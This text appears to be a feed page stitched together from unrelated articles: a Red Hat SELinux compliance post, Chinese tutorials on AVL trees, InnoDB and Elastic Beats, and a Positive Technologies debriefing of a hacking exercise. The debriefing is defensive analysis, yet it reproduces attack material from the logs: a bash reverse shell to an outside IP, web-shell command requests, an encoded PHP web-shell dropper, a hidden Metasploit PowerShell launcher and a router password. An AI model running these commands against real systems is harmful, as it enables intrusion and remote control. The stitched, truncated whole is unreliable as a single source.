While SELinux is an important part of Red Hat Enterprise Linux security capabilities, there are many other security technologies and widely accepted practices that should also be employed. Data encryption, malware scanning, firewalls, and other network security mechanisms remain an important part of an overall security strategy. SELinux is a way to augment existing security solutions, and is not a replacement for current security measures that may be in place.

Mapping to compliance requirements

With the above understanding of how SELinux can help reduce risk and harden a Red Hat Enterprise Linux system, let’s see how it maps to a few PCI-DSS compliance requirements. When reviewing PCI-DSS 3.2 requirements, it is easy to see how RHEL with SELinux can help address requirements that fall under the section Implement Strong Access Control Measures Requirement. Let’s look at some lesser-known requirements in sections two and three instead.

PCI-DSS requirement 2.2:

“[d]evelop configuration standards for all system components. Assure that these standards address all known security vulnerabilities and are consistent with industry-accepted system hardening standards.”

Given that, by default, it denies access to any resource rather than permits access, SELinux immediately meets industry-accepted system hardening standards, and may help mitigate certain classes of security vulnerabilities. It also helps meet the more granular requirements under 2.2 by ensuring a greater level of security restrictions and more fine-grained access control.

PCI-DSS requirement 3.6.7:

“Prevention of unauthorized substitution of cryptographic keys”

At a system-configuration level, SELinux can prevent unauthorized overwriting of files—even when a specific user or role would normally be authorized to write to the directory containing cryptographic keys.

SELinux can also help customers meet other well-known PCI-DSS 3.2 requirements by:
Limiting access to system components and cardholder data to only those individuals whose job requires such access. (meets 7.1.1 - 7.1.3)
Establishing an access control system(s) for systems components that restricts access based on a user’s need to know, and is set to ‘deny all’ unless specifically allowed. (meets 7.2.1 - 7.2.3)

Restricting malicious actor read, write, and pivoting

When SELinux is in enforcing mode, the default policy used in Red Hat Enterprise Linux is the targeted policy. In the default targeted policy, some applications run in a confined SELinux domain where SELinux policy restricts those applications to a particular set of behaviors. All other applications run in special unconfined domains; while they are still SELinux security domains, there is little to no restriction to their permitted behavior.

Almost every service that listens on a network is confined in RHEL, such as httpd and sshd. Also, most processes that run as the root user and perform tasks for users, such as the passwd utility, are confined. When a process is confined, it runs in its own domain. Depending on the SELinux policy configuration for a confined process, an attacker's access to resources, ability to pivot, read, and write, and the possible damage they can do may be limited.

We have listed below a few of the common processes and daemons that run confined by default in their own domain. If you have a question regarding a process that is not listed here, send your inquiry to Red Hat Customer Service.

  • dhcpd is a dynamic host control protocol used in Red Hat Enterprise Linux to dynamically deliver and configure Layer 3 TCP/IP details for clients.
  • smbd is a Samba server that provides file and print services between clients across various operating systems.
  • httpd (Apache HTTP Server) provides a web server.
  • Squid is a high-performance proxy caching server for web clients supporting FTP, Gopher, and HTTP data objects. It reduces bandwidth and improves response times by caching and reusing frequently requested web pages.
  • mysqld is a multi-user, multi-threaded SQL database server that consists of the MariaDB server daemon (mysqld) and many client programs and libraries.
  • PostgreSQL is an Object-Relational database management system (DBMS).
  • Postfix is an open-source Mail Transport Agent (MTA), which supports protocols like LDAP, SMTP AUTH (SASL), and TLS.

For more information on how the Red Hat portfolio can help customers with PCI-DSS compliance, review Red Hat’s 2015 paper on PCI and DSS compliance and our 2016-2017 blog series.

Vulnerabilities

SELinux can also help mitigate many risks posed from privilege escalation attacks. SELinux policy rules define how processes access files and other processes. If a process is compromised, the attacker can only access resources granted to it through the associated SELinux domain. Exploiting an application does not change what SELinux allows the process to access. For example, if the Apache HTTP Server is compromised, an attacker cannot use that process to read files in user home directories by default, unless a specific SELinux policy rule was added or configured to allow such access.

Based on our review of data from the 2017 calendar year, we selected three vulnerabilities publicly released during that time which were mitigated by default Red Hat Enterprise Linux SELinux policies.

CVE-2016-9962 targeted containers, and it became public just 11 days into the new year. On Red Hat systems with SELinux enabled, the dangers of even privileged containers are mitigated. SELinux prevents container processes from accessing host content even if those container processes manage to gain access to the actual file descriptors. With SELinux in enforcing mode, and enabling the default SELinux policy (deny_ptrace) which only affects the policy shipped by Fedora or Red Hat, customers can:
- remove all ptrace,
- confine an unconfined domain, and
- retain the flexibility to disable it permanently or temporarily for troubleshooting.

CVE-2017-6074 addressed a flaw in the Datagram Congestion Control Protocol (DCCP). If exploited by a local, unprivileged user, the user could alter the kernel memory and escalate their privileges on the system. With SELinux enabled and using the default policies alone, this flaw is mitigated.

CVE-2017-7494 addressed a vulnerable Samba client. A malicious authenticated Samba client, having write access to the Samba share, could use this flaw to execute arbitrary code as root. When SELinux is enabled by default, our default policy prevents loading of modules from outside of Samba's module directories and therefore mitigates the flaw.

Red Hat and security

At Red Hat we believe that security is a mindset, not a feature. That’s why we work closely with upstream developers and communities to encourage secure coding practices, information sharing, and collaboration. We firmly believe the principles of open source software contribute to transparency and more secure products, benefiting customers and communities alike.

SELinux is shipped enabled by default in Red Hat Enterprise Linux. In addition to providing added security and mitigating a threat actor’s ability to pivot, SELinux also helps customers meet a variety of compliance standards requirements. And although the terms compliant and secure are not directly interchangeable, we understand that both are very important to our customers. We work continuously to support our products and help our customers achieve both business objectives.

          看图轻松理解数据结构与算法:AVL 树      Cache   Translate Page   Web Page Cache   

前言

推出一个新系列,《看图轻松理解数据结构和算法》,主要使用图片来描述常见的数据结构和算法,轻松阅读并理解掌握。本系列包括各种堆、各种队列、各种列表、各种树、各种图、各种排序等等几十篇的样子。

AVL树

AVL树,也称平衡二叉搜索树,AVL是其发明者姓名简写。AVL树属于树的一种,而且它也是一棵二叉搜索树,不同的是他通过一定机制能保证二叉搜索树的平衡,平衡的二叉搜索树的查询效率更高。

AVL树特点

  • AVL树是一棵二叉搜索树。

  • AVL树的左右子节点也是AVL树。

  • AVL树拥有二叉搜索树的所有基本特点。

  • 每个节点的左右子节点的高度之差的绝对值最多为1,即平衡因子为范围为[-1,1]。

imageimage

图中红色数字表示对应节点的高度,可以看到同一层的节点高度差都没有超过1。

二叉搜索树的平衡

基础的二叉搜索树构建出来可能会存在不平衡的现象,比如极端情况下,按照A B C D E F G H顺序插入树中,结果为,

imageimage

但实际上我们更想要平衡一点的二叉搜索树,因为平衡的二叉搜索树能有效提高查询效率,比如上面的要查询“H”节点则需要比较8个节点才找到,而平衡的二叉搜索树只需要比较3个节点。

所以AVL树的出现就是为了解决平衡性问题,它的核心内容就是平衡处理机制,即所谓的旋转,一共有四种形式的旋转:右单旋、左单旋、左右双旋和右左双旋。

为什么要旋转

不管是什么方式的旋转,旋转的目的是为了降低树的高度,使其平衡,假如树结构如下图,

imageimage

将“A”节点添加到树中,变成如下结构,树产生了不平衡,于是检查哪里不平衡,当到“C”节点时发现高度差超过1,

imageimage

所以需要对“C”节点进行右单旋操作将高度降到2,达到平衡。

imageimage

插入方式

AVL树一共有四种插入方式,根据插入方式不同需要做不同的旋转操作,现在往下看四种插入方式,设受插入节点影响而失去平衡的节点的父节点为Z,

imageimage imageimage imageimage imageimage

右单旋

右单旋用于处理LL插入方式,假设存在一棵树,如下,

imageimage

现插入“A”节点,假如不进行旋转的话,树结构为下图,所以遍历过程也会检查哪里不平衡,检查到“C”节点和“G”节点的高度差大于1,而且插入节点“A”属于“E”节点左子树的左子树,于是进行右单旋,

imageimage

“C”节点右单旋即将“C”节点提高,原本它的父节点“E”则变为其右子节点,“C”节点原来的右子节点则变为其父节点“E”的左子节点。右单旋后的结果如下,重新达到了平衡。

imageimage

左单旋

左单旋用于处理RR插入方式,假设存在一棵树,如下,

imageimage

现插入“I”节点,假如不进行旋转的话,树结构为下图,所以遍历过程也会检查哪里不平衡,检查到“C”节点和“G”节点的高度差大于1,而且插入节点“I”属于“E”节点的右子树的右子树,于是进行左单旋,

imageimage

“G”节点左单旋即将“G”节点提高,原本它的父节点“E”则变为其左子节点,“G”节点原来的左子节点则变为其父节点“E”的右子节点。左单旋后的结果如下,重新达到了平衡。

imageimage

左右双旋

左右双旋用于处理LR插入方式,假设存在一棵树,如下,

imageimage

现插入“C”节点,假如不进行旋转的话,树结构为下图,遍历过程会检查哪里不平衡,检查到“B”节点和“G”节点的高度差大于1,而且插入节点“C”属于“E”节点的左子树的右子树,于是进行左右双旋,

imageimage

先以“D”节点为轴进行左单旋,结果为,

imageimage

再以“D”节点为轴进行右单旋,得到最终结果,

imageimage

右左双旋

右左双旋用于处理RL插入方式,假设存在一棵树,如下,

imageimage

现插入“G”节点,假如不进行旋转的话,树结构为下图,遍历过程会检查哪里不平衡,检查到“C”节点和“H”节点的高度差大于1,而且插入节点“G”属于“E”节点的右子树的左子树,于是进行右左双旋,

imageimage

先以“F”节点为轴进行右单旋,结果为,

imageimage

再以“F”节点为轴进行左单旋,得到最终结果,

imageimage

插入

空树时插入节点“E”直接作为根节点,“E”节点高度设为1,

imageimage

继续插入“B”节点,小于“E”节点则添加到左边,且“E”节点高度加1,

imageimage

继续插入“G”节点,大于“E”节点则添加到右边,此时“E”节点高度不变,

imageimage

继续插入“D”节点,最终到“B”节点的右子节点,此时“B”节点高度加1,“E”节点高度也加1,

imageimage

继续插入“C”节点,最终到“D”节点的左子节点,此时“D”、“B”、“E”节点高度都分别加1,并且先发现节点“D”与它同级节点(不存在即高度为0)高度差大于1,并且属于RL插入方式,使用右左双旋处理,

imageimage

以“C”节点为轴进行右单旋,结果为,

imageimage

再以“C”节点为轴进行左单旋,结果如下,可以看到进过右左双旋操作后二叉树已经达到平衡了。

imageimage

总结,插入时可能会遇到四种不同的插入方式,分别是:LL插入方式、RR插入方式、LR和RL插入方式。根据不同的插入方式对应做旋转操作即能使树达到平衡状态。

查找

AVL树因为属于二叉搜索树,所以查找时与BST树完全一样,比如下面这棵树,查找“D”节点,

imageimage

从根节点“C”开始,

imageimage

“D”大于“C”,所以往右继续查找,

imageimage

“D”小于“E”,所以往左查找,找到。

imageimage

删除

删除操作主要分两种情况,一种是删除后不会影响平衡,那么直接按照BST树规则删除。另外一种是删除后会影响树的平衡,那么则需要再做旋转处理。

情况一

如树的结构,要删除“B”节点,

imageimage

直接找到“B”节点,且因为是叶子节点,直接删掉即可。

imageimage

最终为,

imageimage

但如果删除的不是“B”节点,而是“C”节点,则不能直接删除“C”节点,

imageimage

应该先找到“C”节点的前驱,它的前驱为“B”节点,使用“B”替换“C”节点,

imageimage

最后将原来的“B”节点删除。

imageimage

情况二

如树的结构,要删除“F”节点,

imageimage

先找到“F”节点,

imageimage

然后将“F”节点删除,此时导致了“C”节点和“G”节点的高度差超过1,需要做旋转操作,

imageimage

而且因为C节点的左子节点高度比右子节点高度大,所以执行右单旋操作,旋转后为,

imageimage

          InnoDB 5 项最佳实践,知其所以然?      Cache   Translate Page   Web Page Cache   

缓存讲了一个月《缓存架构,一篇足够》。今天,开始写数据库。

第一篇,说说MySQL两个最常用的存储引擎,MyISAM和InnoDB。照自己的理解,把一些知识点总结出来,不只说知识点,多讲“为什么”。
一、关于count(*)
知识点
MyISAM会直接存储总行数,InnoDB则不会,需要按行扫描

潜台词是,对于select count(*) from t; 如果数据量大,MyISAM会瞬间返回,而InnoDB则会一行行扫描。

实践:数据量大的表,InnoDB不要轻易select count(*),性能消耗极大。
常见坑:只有查询全表的总行数,MyISAM才会直接返回结果,
当加了where条件后,两种存储引擎的处理方式类似
例如
t_user(uid, uname, age, sex);

  • uid PK

  • age index

select count(*) where age<18 and sex='F';
查询未成年少女个数,两种存储引擎的处理方式类似,都需要进行索引扫描。
启示:不管哪种存储引擎,都要建立好索引。

二、关于全文索引
知识点
MyISAM支持全文索引,InnoDB5.6之前不支持全文索引
实践:不管哪种存储引擎,在数据量大并发量大的情况下,都不应该使用数据库自带的全文索引,会导致小量请求占用大量数据库资源,而要使用《索引外置》的架构设计方法。
启示:大数据量+高并发量的业务场景,全文索引,MyISAM也不是最优之选。
三、关于事务
知识点
MyISAM不支持事务,InnoDB支持事务
实践:事务是选择InnoDB非常诱人的原因之一,它提供了commit,rollback,崩溃修复等能力。在系统异常崩溃时,MyISAM有一定几率造成文件损坏,这是非常烦的。但是,事务也非常耗性能,会影响吞吐量,建议只对一致性要求较高的业务使用复杂事务。
画外音:Can't open file 'XXX.MYI'. 碰到过么?
小技巧:MyISAM可以通过lock table表锁,来实现类似于事务的东西,但对数据库性能影响较大,强烈不推荐使用。
四、关于外键
知识点
MyISAM不支持外键,InnoDB支持外键
实践:不管哪种存储引擎,在数据量大并发量大的情况下,都
不应该使用外键,而建议由应用程序保证完整性
五、关于行锁与表锁
知识点:MyISAM只支持
表锁,InnoDB可以支持行锁
分析
MyISAM:执行读写SQL语句时,会对表加锁,所以数据量大,并发量高时,性能会急剧下降。
InnoDB:细粒度行锁,在数据量大,并发量高时,性能比较优异。
实践:网上常常说,select+insert的业务用MyISAM,因为MyISAM在文件尾部顺序增加记录速度极快。楼主的建议是,绝大部分业务是混合读写,只要数据量和并发量较大,一律使用InnoDB。
常见坑
InnoDB的行锁是实现在索引上的,而不是锁在物理行记录上。潜台词是,
如果访问没有命中索引,也无法使用行锁,将要退化为表锁
画外音:Oracle的行锁实现机制不同。
例如
t_user(uid, uname, age, sex) innodb;

  • uid PK

  • 无其他索引

update t_user set age=10 where uid=1;
命中索引,
行锁

update t_user set age=10 where uid != 1;
未命中索引,
表锁

update t_user set age=10 where name='shenjian';
无索引,
表锁
启示:InnoDB务必建好索引,否则锁粒度较大,会影响并发。

总结
大数据量,高并发量的互联网业务场景下,对于MyISAM和InnoDB

  • 有where条件,count(*)两个存储引擎性能差不多

  • 不要使用全文索引,应当使用索引外置的设计方案

  • 事务影响性能,强一致性要求才使用事务

  • 不用外键,由应用程序来保证完整性

  • 不命中索引,InnoDB也不能用行锁

结论
大数据量,高并发量的互联网业务场景下,请使用InnoDB:

这两个点,是InnoDB最吸引人的地方。
几个小的知识点,希望大家有收获。有说的不对的,欢迎大家指正,共同讨论。谢

          The Standoff at Positive Hack Days 8: attack debriefing      Cache   Translate Page   Web Page Cache   

Publication date: August 8, 2018

The Standoff was back this year at Positive Hack Days 8, where over 100 participants on 12 attacker teams, 7 defender teams, and security operations center (SOC) teams were eager to show their mastery of the digital systems of an entire mock city.

The city network was monitored by three Positive Technologies products:

  • MaxPatrol SIEM – security information and event management (SIEM)
  • PT Network Attack Discovery – network traffic analysis, incident detection, and investigation
  • PT MultiScanner – multilevel system for identifying and blocking malicious content

Functioning of these products and game events were all under the watchful gaze of the Positive Technologies Expert Security Center (PT ESC), which shared its findings with the PHDays audience. So many events took place that it would be impossible to describe them all. Here we will focus on describing the networks of Office 2 (belonging to fictional systems integrator SPUTNIK) and Office 1 (belonging to fictional insurer BeHealthy). Office 2 was interesting because it was monitored by the Rostelecom SOC, but not under the protection of any defender team, due to which attackers had free run of its systems.

Besides these two offices, the city also contained an electrical plant with substation, railroad, smart homes, and banks with ATMs.

City model

In the paragraphs that follow, we will describe events at Office 1 and Office 2 as viewed through MaxPatrol SIEM, PT NAD, and PT MultiScanner in close technical detail.

Diagram of game network in Office 2

Addressing of the attacker teams was of the format 172.31.x.0/24, where "x" was the number (between 1 and 8) identifying a particular attacker team. There were 12 attacker teams in total, but due to the architecture of the network infrastructure (the network core was emulated on a Cisco CSR1000v) and the available physical equipment, only eight physical network interfaces could be set up for the teams throughout the game area. As a result, four of the networks had two teams each.

Office 2 had four network segments ("Security Team" refers to the SOC responsible for the office):

DMZ (100.64.154.0/25)

Servers (10.106.60.0/24)

Company Employees (10.106.50.0/24);

Security Team (10.106.82.0/24)

Hosts in the DMZ were accessible to all attackers. When attackers accessed these hosts, the attackers' real network addresses were translated from the pool 100.110.255.0/24, which made it difficult for defenders to identify the source of network traffic. Traffic could be from one of the twelve attacker teams, or it could be the (legitimate) script checker, run by the organizers to verify service availability, whose traffic came from the same address pool as the attackers

To "feed" our products with events, we captured and forwarded copies of all network traffic to PT NAD and also set up an extended audit of events involving target systems, information regarding which was provided to MaxPatrol SIEM.

An overview of PHDays attacks and team-by-team analysis can be found in our previous article.

Joomla (100.64.154.147)

One of the servers in the DMZ of Office 2 was a server running the Joomla CMS. A few hours after the start of the game, PT NAD began picking up the first signs of compromise of the server, specifically, upload of a web shell from the pool of "gray" IP addresses:

All attacker subnets terminated on the same firewall (Attacker-FW). When connecting to targets, the IP addresses of attackers were translated into "gray" IP addresses from a single pool (100.110.255.0/24). So to attribute attacks to particular teams, we enriched network-to-network connection information based on the NAT table of the firewall.

Here is how this looked in MaxPatrol SIEM:

In this case, we can see that the attack was initiated by Team 1. But since the same address pool was used by multiple teams, we cannot identify teams based on a request from a particular network with great certainty. Therefore here we will identify teams by their network numbers.

An hour after the attacks attempted by Team 1, PT NAD detected uploading by Team 8 of a different web shell with the self-explanatory name SHE__.php. We cannot say for sure whether this was the consequence of a server hack or simple scan. But a few minutes later, the same Team 8 established an SSH session as the unprivileged user "user".

The password for the account was near the top of the rockyou dictionary, and therefore easily bruteforced. Team 8 obtained access to the root account only around 4:00 p.m. because "user" was in the group with the right to run commands as root without a password. This is clear from the MaxPatrol SIEM logs: we see login as "user" and then escalation of privileges using the sudo command.

(The time indicated in logs may differ from the actual time by three hours due to the configuration of the game servers.)

By the evening of Day 1 of The Standoff, Team 6 took control of Joomla. PT NAD detected exploitation of a vulnerability (strictly speaking, a feature) thanks to which the team uploaded and started using the WSO web shell.

100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php  HTTP				
		

The script used by the team to upload web shells requires an administrator password. The password was obtained with the help of vulnerability CVE-2017-14596 in the Joomla authentication mechanism via LDAP. By changing the authentication LDAP request, the attackers can quickly bruteforce the administrator username and password.

Half an hour later, Team 6 pwned the whole system.

The machine was put to use by the attackers for scoping out the network of SPUTNIK's Office 2 using the Nmap and hping3 utilities.

All data from MaxPatrol SIEM.

Example of recon of the DMZ network of Office 2 (100.64.154.0/24) and SOC team network (10.106.82.0/24)

At 9:17 p.m., we discovered that an OpenVPN client had been installed and launched on the Joomla server. The connection went to server 195.16.61.229, located in Moscow. Not long after we learned that this was the work of Team 6, which successfully used the remote system to sneak in outside reinforcements and get more hackers on their side. .

Traffic with the remote system was inside an encrypted tunnel, so we cannot say exactly went on or how much it influenced game events. We can only make educated guesses based on the number of VPN sessions and amount of data transferred.

Most interestingly, the team did not clean up the traces: after the game, we found an OpenVPN configuration file on the server. This file contained the root and personal certificates, private key, and personal information of the key owner. One could easily use a search engine to identify the person going by "phonexicum" to which the configuration file belonged. A full map illustrating all in-game VPN connections is at the end of this article.

Additional interesting events began to crop up after midnight (three hours should be added to the times indicated in the logs).

The /id.php shell of Team 4 finds Team 1:


[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1
[15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1
[15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1
[15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1
[15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
		

The team immediately gets to work on the system by saving the WSO web shell under the name 123.php.


[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1
[15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1

Team 1 was boss for several hours, until Team 4 discovered the other team's presence and renamed id.php to 021371b392f0b42398630fd668adff5d.php.


[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1
[16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1

021371b392f0b42398630fd668adff5d.php was later renamed to kekekeke.php and kekpek.php.


[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval (base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));??>" > kekekeke.php HTTP/1.1

Later events on the domain infrastructure of Office 2 (SPUTNIK) are closely related to what happened on Joomla.

SPUTNIK (10.106.60.0/24)

After Joomla was hacked, attackers gained access to internal segments of the infrastructure of Office 2 (SPUTNIK). A bit later, the domain controller WIN2008R2-DC.domain2.phd (10.106.60.10) was on the receiving end of attacks involving exploit MS17-010.

The sequence of subsequent events is outlined by the MaxPatrol SIEM log.

The attacker first created a user with the name "username" and password "1qazzaq!" and added it to the local administrators group. Successful exploitation of exploits from advisory MS17-010 grants access with NT-Authority\System privileges. In Windows logs, such access is displayed as win2008r2-dc$.

As the new user, the attacker then created a few services for launching a PowerShell script.


%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""

This script, generated by the Metasploit framework, attempts to open a socket on port 55443 for listening and launch the payload that arrives on this port (most likely, Meterpreter).

This attempt to launch a remote shell was successful. The attackers continued developing the attack: "username" created another account, named "vitalik", and added it to the Domain Admins group. Soon we see interactive login.

After "vitalik" created a service with the help of the same PowerShell script as "username", the latter account performed a mass reset of passwords for domain accounts and began to probe neighbor Win2008R2-EXCH, the domain mail server.

Simultaneous activity by "username" and "vitalik" on the domain Exchange server (scanning and login) suggests that multiple team members were active on the SPUTNIK network at the same time.

"vitalik" checked the accessibility of the mail server and launched the server administration console after interactive login.

Having found nothing of interest, "vitalik" now dragged a number of tools and heavy artillery to host Win2008R2-DC: numerous PowerShell scripts and the BloodHound framework (a popular tool for Active Directory recon) appeared on the domain controller. To access the BloodHound web interface, the attacker had to disable Internet Explorer Protected Mode, which was noticed by the SIEM.

Network activity by BloodHound caught the attention of PT NAD. For example, BloodHound scans network hosts for active connections. Such traffic directed at the SRVSVC service triggers a PT NAD signature, indicating reconnaissance from within the network.

Around 1 a.m., the attackers—having first created a shadow copy of the disk using the vssadmin utility—made off with the ntds.dit database containing all domain accounts. The attackers now had full control of the domain and the hash for the krbtgt account. With this account, the attackers could create and use a Kerberos golden ticket for unlimited access to domain resources, accessing servers as any existing (or non-existing) user, and performing any actions imaginable on the domain. Detecting golden ticket use is difficult, but compromise of the krbtgt user and ntds.dit is a different story.

The team gradually switched gears from domain exploration to probing the newly accessible ICS network. After putting the Nmap scanner on the computers of SPUTNIK employees (YLAVRENTIEV.sputnik.phd and EPONOMAREV.sputnik.phd), attackers started scanning the 172.20.x.x network. They used nmap_performance.reg to change TCP/IP stack parameters and accelerate scanning of the ICS network.

Connections to ICS hosts via tunnels on SPUTNIK domain hosts speak for themselves. Head over to YouTube for a description of what the hackers were able to pull off on the ICS network.

Other attacker accomplishments included more tunnels, SSH sessions, creative breakthroughs after a sleepless night, and of course mining of our in-game DDoSCoin cryptocurrency.

Zabbix (100.64.100.161)

The system was located in the DMZ of Office 1 and hacked around 12 p.m. by an unidentified team.

Bruteforcing the administrator account was easy enough. The team took advantage of built-in Zabbix functionality to obtain unlimited monitoring capabilities with the help of custom scripts.

Scripts can contain any Linux commands, which the attackers made use of by creating shells and SOCKS proxy servers.

command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1


The team unsuccessfully tried to download a module from outside server 195.16.61.232, which they controlled.

After quickly surveying the surroundings, the team used standard Linux methods to install a remote bash shell with the same outside server by sending packets directly to /dev/tcp/.

Just as interesting was the content of traffic between the team and the shells, which was sent unencrypted and picked up by PT NAD sensors.

The Zabbix server was mainly used as a staging ground for gathering information about the subnets of Office 1: 10.100.50.0/24 (Users), 10.100.60.0/24 (Servers), and 10.100.80.0/24 (Security Team).

Multiserver (100.64.100.167)

Multiserver is a different Linux host in the Office 1 DMZ with a few HTTP servers and MySQL database. Although Multiserver was scanned intensively, only a few attacks were successful. The host harbored the SambaCry vulnerability, found in 2017 after the MS17-010 vulnerabilities, and the teams tried to exploit it. The PT NAD filter allows localizing these attempts on a timeline.

One of the attempts by Team 3 contained as payload the executable library DTECJtAf.so. Judging by the library name, the attackers were using the is_known_pipename module from the Metasploit framework.

Here is the line of code responsible for this telltale library name:

During The Standoff, the organizers were helped by PT MultiScanner, which checked all files transmitted on the network that were flagged by PT NAD. A moment later, the verdict was in for DTECJtAf.so: Linux/SmbPayload.C.

Judging by absence of subsequent network interactions between the server and Team 3, the exploit was unsuccessful. But at almost the same time, we see an active SSH session from Team 4. The amount of traffic suggests that the attackers were using the server to full advantage.

The first successful SSH login by Team 4 as administrator took place around 3:20 p.m. on Day 1.

The team quickly checked out its privileges and the host as well.

And more than just the host.

Attribution is aided by a linguistic giveaway.

Multiserver was not fully configured and as a result we cannot say with certainly which other attempts were made by the teams. The available logs show that this host, like other hosts in the Office 1 DMZ, served as a jumping-off point for investigating the office's internal infrastructure.

More highlights

Other hosts also attracted attacker attention. It was curious, for example, to see what happened with the Mikrotik router at address 100.64.100.237 in the Office 1 DMZ. Around 2 a.m. on Day 2, successful login to the router console via Telnet with the credentials admin:VxPvRxX74e8xrbia77hsi7WKm was recorded. The router firmware version was 6.38.4—the same version used to test the infamous Chimay Red Stack Clash exploit for Mikrotik, which enables running arbitrary code and learning user passwords on the router. Exploitation was detected by PT NAD.

In the afternoon, the team that was first to take the router decided to pull the ladder up behind them, by updating the firmware to block other teams.

This is one of the few cases when a team closed a security hole in order to prevent other attackers from "stealing" their host.

PT MultiScanner detected another curious event.

To access the bank, teams could use the bank client available on the bank site. The site was on the bank network, where it was monitored by a defender team. The defender team inserted a malicious payload into the client (by using Metasploit) and replaced the original with this modified version. Fortunately for them, several attacker teams downloaded the booby-trapped client, as we can see in the above PT MultiScanner screenshot. No successful connections were recorded, but the case is still worth keeping in mind since similar things happen in real life: attackers insert malicious code into legitimate programs on official sites or tamper with updates.

Miners

Cryptocurrency mining was all-new to The Standoff this year. Teams could use hacked servers as miners to earn additional points. Instead of better-known cryptocurrencies, the currency used was our very own DDoSCoin—the monetary equivalent of the effort spent to DDoS a server. Proof-of-work consisted of TLS 1.2 handshakes. The more TLS handshakes that a miner made with a targeted server, the higher the likelihood of finding a new block that would earn compensation from the DDoS organizer.

The mining client was written in Go and compatible with both Windows and Linux. This was the first time such an idea was implemented and although not all teams did so, we saw attempts to mine on many of the game servers.

Attempt to start mining on a Joomla host (100.64.154.147)Launch of a miner from SPUTNIK infrastructure (10.106.60.0/24)

Teams mined cryptocurrency, which could be exchanged for game points.  Half of the teams used previously hacked servers to mine blocks. DDoSCoin was also subject to supply and demand, thanks to an in-game currency exchange: if the amount of mined currency went up, the exchange rate (points per block) fell. This made it possible to "play the market" and earn more points without even having to complete tasks. But the idea was new to this type of game and teams did not truly put it into action, due to which the effect on gameplay was minimal.

The clear leader in mining (as measured by number of blocks) was CAICA, from Kazakhstan, which was the first team to run miners on game infrastructure. Here we are able to give team names, as opposed to just numbers, because identifiers were included in the block information. Overall, the concept shows clear promise—so expect to see it at The Standoff next year.

Conclusion

The competition got hot at The Standoff! Twelve teams actively probed and hacked the infrastructure of the virtual city. Our products gave a full view of how the teams behaved, which tactics and tools they used, and which targets they pursued. We witnessed their interactions with office domain infrastructure, starting with infection of a single machine and culminating with control over the entire domain and access to the adjacent ICS network.

The load on our products during the game was simply enormous. MaxPatrol SIEM processed 20,000 EPS, while PT NAD handled over 3 terabytes of network traffic, not to mention the network infrastructure itself: routers, switches, and firewalls were truly put to the test in demanding circumstances.

Similar system compromises could very well have happened in real offices that are not properly protected and monitored. Correspondence, financial information, and personal data are all ripe for the taking.

In the midst of constant scanning, bruteforcing, and exploitation of all sorts of vulnerabilities, Positive Technologies products stood fast and helped to determine the precise methods used to hack the game servers. They pinpointed successful attacks and indicators of compromise, including web shells, remote consoles, tunnels, and host logins. All this information will help to strengthen our products against attacks in the wild.

VPN connections during the game are illustrated on the map above. Such connections were made with servers in the U.S., Kazakhstan, Netherlands, and several other European countries. Although none of the teams at The Standoff came from the U.S. or Europe, one team hailed from Kazakhstan.


          Beats数据采集---Packetbeat\Filebeat\Topbeat\WinlogBeat使用指南      Cache   Translate Page   Web Page Cache   

Beats是elastic公司的一款轻量级数据采集产品,它包含了几个子产品:

  • packetbeat(用于监控网络流量)、
  • filebeat(用于监听日志数据,可以替代logstash-input-file)、
  • topbeat(用于搜集进程的信息、负载、内存、磁盘等数据)、
  • winlogbeat(用于搜集windows事件日志)

另外社区还提供了dockerbeat等工具。由于他们都是基于libbeat写出来的,因此配置上基本相同,只是input输入的地方各有差异。

本文按照如下的内容依次进行介绍:

  • 背景知识:关于Powershell的使用
  • packetbeat的下载、部署、使用、结果样例
  • filebeat的下载、部署、使用、样例
  • topbeat的样例
  • winlogbeat的样例

关于Powershell

如果你是想在linux下使用,那么可以跳过本节。

elastic中的Beats在windows环境中基本都是使用Powershell的脚本,因此用户必须对Powershell有一定的了解。Powershell可以理解成windows对命令行的高级封装,加了个壳,从而支持更多高级的用法。在windows7开始,系统就内置了Powershell工具。因此如果你的系统是xp这种比较老的版本,就需要自己安装Powershell了。

启动Powershell

在windows下,有两种方式打开Powershell(要以管理员的身份打开)。

通过图标打开

在windows下开启搜索,输入powershell,右键以管理员身份运行。

image

通过命令行启动

在系统路径C:\Windows\System32下,以管理员身份启动cmd.exe(右键选择 以管理员身份运行)。

输入命令Powershell,进入Powershell命令窗口。

C:\Windows\system32>Powershell
Windows PowerShell
版权所有 (C) 2009 Microsoft Corporation。保留所有权利。

PS C:\Windows\system32>

开启脚本限制

默认的情况下,系统会禁止运行脚本,返回下面的错误提示:

PS E:\packetbeat> .\install-service-packetbeat.ps1
无法加载文件 E:\packetbeat\install-service-packetbeat.ps1,因为在此系统中禁止执
行脚本。有关详细信息,请参阅 "get-help about_signing"。
